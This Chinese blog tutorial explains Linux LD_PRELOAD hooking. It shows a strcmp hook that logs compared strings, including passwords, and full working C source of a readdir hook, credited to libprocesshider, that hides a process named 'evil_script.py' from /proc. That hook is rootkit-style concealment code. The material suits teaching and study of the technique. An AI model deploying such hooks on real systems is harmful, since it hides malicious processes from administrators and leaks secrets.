Linux LD_PRELOAD Hook

2023-10-10 11:52
文章标签 linux hook ld preload

本文主要是介绍Linux LD_PRELOAD Hook,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 一、简介
  • 二、hook strcmp
  • 三、hook readdir 实现隐藏进程
  • 参考链接:

一、简介

  loader在进行动态链接的时候,会将有相同符号名的符号覆盖成LD_PRELOAD指定的so文件中的符号。换句话说,可以用我们自己的so库中的函数替换原来库里有的函数,从而达到hook的目的。这和Windows下通过修改import table来hook API很类似。相比较之下,LD_PRELOAD更方便了,都不用自己写代码了,系统的loader会帮我们搞定。但是LD_PRELOAD有个限制:只能hook动态链接的库,对静态链接的库无效,因为静态链接的代码都写到可执行文件里了嘛,没有坑让你填。

二、hook strcmp

  先是受害者,我们的主程序main.c,通过strcmp比较字符串是否相等:

#include <stdio.h>
#include <string.h>int main(int argc, char *argv[])
{if( strcmp(argv[1], "test") ){printf("Incorrect password\n");}else{printf("Correct password\n");}return 0;
}

然后是用来hook的库hook.c:

#include <stdio.h>
#include <string.h>
#include <dlfcn.h>typedef int(*STRCMP)(const char*, const char*);int strcmp(const char *s1, const char *s2)
{static void *handle = NULL;static STRCMP old_strcmp = NULL;if( !handle ){handle = dlopen("libc.so.6", RTLD_LAZY);old_strcmp = (STRCMP)dlsym(handle, "strcmp");}printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);return old_strcmp(s1, s2);
}

因为hook的目标是strcmp,所以typedef了一个STRCMP函数指针。由于hook的目的是要控制函数行为,所以需要从原库libc.so.6中拿到“正版”strcmp指针,保存成old_strcmp以备调用。

Makefile:test: main.c hook.sogcc -o test main.chook.so: hook.cgcc -fPIC -shared -o hook.so hook.c -ldl

执行:

$ LD_PRELOAD=./hook.so ./test 123
hack function invoked. s1=<123> s2=<test>
Incorrect password$ LD_PRELOAD=./hook.so ./test test
hack function invoked. s1=<test> s2=<test>
Correct password

  使用PRE_LOAD劫持库函数的这种做法可以做很多事情,比如劫持随机函数random, random_r等,使得看起来是公平的摇号程序可以自如地由自己控制;比如实现一些高级功能,zlibc就是使用这个技术来做压缩,但是上层应用对其完全无感知;比如紧急fixbug,你可以preload一个函数库来使你的有bug的程序如期运行;比如访问应用程序的内存,做一些你想做的事 😃

LD_PRELOAD hook步骤:

  1. 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
  2. 将包含替换函数的源码编译为动态链接库
  3. 通过命令 export LD_PRELOAD="库文件路径",设置要优先替换动态链接库
  4. 如果找不替换库,可以通过 export LD_LIBRARY_PATH=库文件所在目录路径,设置系统查找库的目录
  5. 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除
  6. 想查询依赖关系,可以用ldd 程序名称

三、hook readdir 实现隐藏进程

这里直接贴上代码,感兴趣的同学可以参考下面的链接:

  • linux 下隐藏进程的一种方法
  • libprocesshider
#define _GNU_SOURCE#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>/** Every process with this name will be excluded*/
static const char* process_to_filter = "evil_script.py";/** Get a directory name given a DIR* handle*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{int fd = dirfd(dirp);if(fd == -1) {return 0;}char tmp[64];snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);ssize_t ret = readlink(tmp, buf, size);if(ret == -1) {return 0;}buf[ret] = 0;return 1;
}/** Get a process name given its pid*/
static int get_process_name(char* pid, char* buf)
{if(strspn(pid, "0123456789") != strlen(pid)) {return 0;}char tmp[256];snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);FILE* f = fopen(tmp, "r");if(f == NULL) {return 0;}if(fgets(tmp, sizeof(tmp), f) == NULL) {fclose(f);return 0;}fclose(f);int unused;sscanf(tmp, "%d (%[^)]s", &unused, buf);return 1;
}#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \\
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \if(original_##readdir == NULL) {                                    \original_##readdir = dlsym(RTLD_NEXT, "readdir");               \if(original_##readdir == NULL)                                  \{                                                               \fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \}                                                               \}                                                                   \\struct dirent* dir;                                                 \\while(1)                                                            \{                                                                   \dir = original_##readdir(dirp);                                 \if(dir) {                                                       \char dir_name[256];                                         \char process_name[256];                                     \if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \strcmp(dir_name, "/proc") == 0 &&                       \get_process_name(dir->d_name, process_name) &&          \strcmp(process_name, process_to_filter) == 0) {         \continue;                                               \}                                                           \}                                                               \break;                                                          \}                                                                   \return dir;                                                         \
}DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

参考链接:

  • Reverse Engineering with LD_PRELOAD
  • LD_PRELOAD的偷梁换柱之能

这篇关于Linux LD_PRELOAD Hook的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/180261

相关文章

Linux换行符的使用方法详解

《Linux换行符的使用方法详解》本文介绍了Linux中常用的换行符LF及其在文件中的表示,展示了如何使用sed命令替换换行符,并列举了与换行符处理相关的Linux命令,通过代码讲解的非常详细,需要的... 目录简介检测文件中的换行符使用 cat -A 查看换行符使用 od -c 检查字符换行符格式转换将

Linux系统配置NAT网络模式的详细步骤(附图文)

《Linux系统配置NAT网络模式的详细步骤(附图文)》本文详细指导如何在VMware环境下配置NAT网络模式,包括设置主机和虚拟机的IP地址、网关,以及针对Linux和Windows系统的具体步骤,... 目录一、配置NAT网络模式二、设置虚拟机交换机网关2.1 打开虚拟机2.2 管理员授权2.3 设置子

Linux系统中卸载与安装JDK的详细教程

《Linux系统中卸载与安装JDK的详细教程》本文详细介绍了如何在Linux系统中通过Xshell和Xftp工具连接与传输文件,然后进行JDK的安装与卸载,安装步骤包括连接Linux、传输JDK安装包... 目录1、卸载1.1 linux删除自带的JDK1.2 Linux上卸载自己安装的JDK2、安装2.1

Linux卸载自带jdk并安装新jdk版本的图文教程

《Linux卸载自带jdk并安装新jdk版本的图文教程》在Linux系统中,有时需要卸载预装的OpenJDK并安装特定版本的JDK,例如JDK1.8,所以本文给大家详细介绍了Linux卸载自带jdk并... 目录Ⅰ、卸载自带jdkⅡ、安装新版jdkⅠ、卸载自带jdk1、输入命令查看旧jdkrpm -qa

Linux samba共享慢的原因及解决方案

《Linuxsamba共享慢的原因及解决方案》:本文主要介绍Linuxsamba共享慢的原因及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux samba共享慢原因及解决问题表现原因解决办法总结Linandroidux samba共享慢原因及解决

新特性抢先看! Ubuntu 25.04 Beta 发布:Linux 6.14 内核

《新特性抢先看!Ubuntu25.04Beta发布:Linux6.14内核》Canonical公司近日发布了Ubuntu25.04Beta版,这一版本被赋予了一个活泼的代号——“Plu... Canonical 昨日(3 月 27 日)放出了 Beta 版 Ubuntu 25.04 系统镜像,代号“Pluc

Linux安装MySQL的教程

《Linux安装MySQL的教程》:本文主要介绍Linux安装MySQL的教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux安装mysql1.Mysql官网2.我的存放路径3.解压mysql文件到当前目录4.重命名一下5.创建mysql用户组和用户并修

Linux上设置Ollama服务配置(常用环境变量)

《Linux上设置Ollama服务配置(常用环境变量)》本文主要介绍了Linux上设置Ollama服务配置(常用环境变量),Ollama提供了多种环境变量供配置,如调试模式、模型目录等,下面就来介绍一... 目录在 linux 上设置环境变量配置 OllamPOgxSRJfa手动安装安装特定版本查看日志在

Linux系统之主机网络配置方式

《Linux系统之主机网络配置方式》:本文主要介绍Linux系统之主机网络配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、查看主机的网络参数1、查看主机名2、查看IP地址3、查看网关4、查看DNS二、配置网卡1、修改网卡配置文件2、nmcli工具【通用

Linux系统之dns域名解析全过程

《Linux系统之dns域名解析全过程》:本文主要介绍Linux系统之dns域名解析全过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、dns域名解析介绍1、DNS核心概念1.1 区域 zone1.2 记录 record二、DNS服务的配置1、正向解析的配置